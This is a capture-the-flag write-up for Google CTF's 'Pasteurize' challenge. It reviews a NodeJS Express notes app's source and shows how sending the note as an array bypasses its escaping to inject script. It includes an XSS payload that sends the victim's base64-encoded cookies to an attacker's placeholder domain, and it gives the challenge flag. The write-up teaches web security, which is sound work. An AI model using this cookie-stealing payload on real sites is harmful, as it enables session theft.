PASTEURIZE - Google CTF
This was a super fun challenge that really tests your process and thoroughness when assessing a web application. Admittedly, I did not complete the challenge before the CTF was over, but that shouldn’t stop you from following through on finishing a challenge. Doing this challenge, you’ll learn some cool tricks with NodeJS, get better with source code review, and improve your web app response analysis.
Analysis
Viewing the landing page source code we see a hidden reference to the /source
page.
Navigating to the /source
page reveals the source code for the web application which shows that it is a NodeJS Express
web application.
const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'
});
/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,
}));
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));
/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
});
}
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
}
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
});
}
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
console.error(e);
return null;
}
if (!note || note.length < 1) {
return null;
}
note = note[0];
if (note === undefined || note.public !== 1) {
return null;
}
return note;
}
}
const DB = new Database();
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */
app.get('/', (req, res) => {
res.render('index');
});
/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
if (note.length > 2000) {
res.status(500);
return res.send("The note is too big");
}
const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
res.status(500);
console.error(result);
return res.send("Something went wrong...");
}
} catch (err) {
res.status(500);
console.error(err);
return res.send("Something went wrong...");
}
await utils.sleep(500);
return res.redirect(`/${note_id}`);
});
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;
/* No robots please! */
if (req.recaptcha.error) {
console.error(req.recaptcha.error);
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
}
/* Make TJMike visit the paste */
utils.visit(id, req);
res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});
/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");
res.sendFile(__filename);
});
/* Let it begin! */
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');
});
module.exports = app;
As always, when we find source code, we do a thorough analysis to understand what is going on, and in doing so we get the following information from the source code:
- The application uses the
bodyParser.urlencoded
library with theextended
option set totrue
. If we look at the docs for thebodyParser
under theurlencoded
section (found here) we can see what is meant for theextended
optionThe extended option allows to choose between parsing the URL-encoded data with the querystring library (when false) or the qs library (when true). The "extended" syntax allows for rich objects and arrays to be encoded into the URL-encoded format, allowing for a JSON-like experience with URL-encoded. For more information, please see the qs library.
What this means is we can send more than just strings to the application, we can also send objects and arrays too.
-
The database name is
littlethings
shown with the db structure used. We also see the code for how notes are added and how notes are retrieved from the database. I went down a long rabbit hole with this in conjunction with the other requests… Hopefully you didn’t make my same mistake. - The
escape_string
function is used on the note content before it is added to the page.const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
This function first uses
JSON.stringify
on the post message, which will escape most escape characters (docs here) removing the ‘easy’ injection options (ex: we can’t put"
or'
straight in because.stringify
will escape those characters). Next it slices the first and last characters off of the input with.slice(1,-1)
. Then on the remaining content, it will replace both the<
and>
characters with\x3C
and\x3E
, respectively. - Post requests with note content must be less than 2000 bytes in length as seen by:
if (note.length > 2000) { res.status(500); return res.send("The note is too big"); }
-
The id’s being generated are
uuidv4
format -
Visiting note pages by using the uuid generated, the path is properly escaped, however, the recaptcha used isn’t validated on this page like it is on the
app.post(/report/<uuid>, ...
requests, but instead is placed in the note itself to be validated later. The note content is made “safe” using theescape_string
function and then rendered by the application. -
Sharing the post with TJMike causes a visit to the
/report/<uuid>
which validates the recaptcha used and if successful, calls theutils.visit
function which we can assume causes TJMike to make the request to view the note. - The final
app.get
request confirms that we are viewing the NodeJS source file with the use ofres.sendFile(__filename)
Testing the Notes
Creating a note we can see the request look like:
Once on the note page we can see that the note renders with the uuid, the option to share with TJMike, and interestingly we can see a new script that shows some additional sanitization that occurs on our input by DOMPurify
which removes the option of trying DOM based exploits. If we try with special characters we can see, as we assumed, that they are escaped:
You might be asking yourself at this point, “what is the path forward to get the flag?”
The Exploit
Good question, well, since we know that the content has its escape characters escaped, DOM exploits are sanitized, and <
& >
are replaced, our attack surface is limited. However, if we recall that the app itself is utilizing the extended
bodyParser option, which means we can also send our content
param (ie. the note data) as an array. So what happens when we do that?
The payload is embedded in the script outside of the quotes! But why does this happen… Well it’s because if we look at what making the parameter an array does to the escape_string
function and how it affects the output we can see that it keeps the “string” quotes because the array can contain integers, strings, etc.
So by making it an array the quotes are left in, the content is passed to the script on the note’s page, and since the quotes aren’t escaped we are then injecting our note content directly into the script as valid javascript code! For example, sending a basic ;alert(1);
payload in the post request’s content
param:
Excellent! Now, we should be able to make TJMike send us his cookies by using ;new Image().src='<domain>/TJMikeCookie='+btoa(document.cookie);
as the payload. This will make it so TJMike makes a request to our http server at <domain>
and looks for the page TJMikeCookie=<base64_encoded_cookie>
when we click the share with TJMike
button.
It worked! Now we just decode the base64 cookie to find the flag!!!!
secret=CTF{Express_t0_Tr0ubl3s}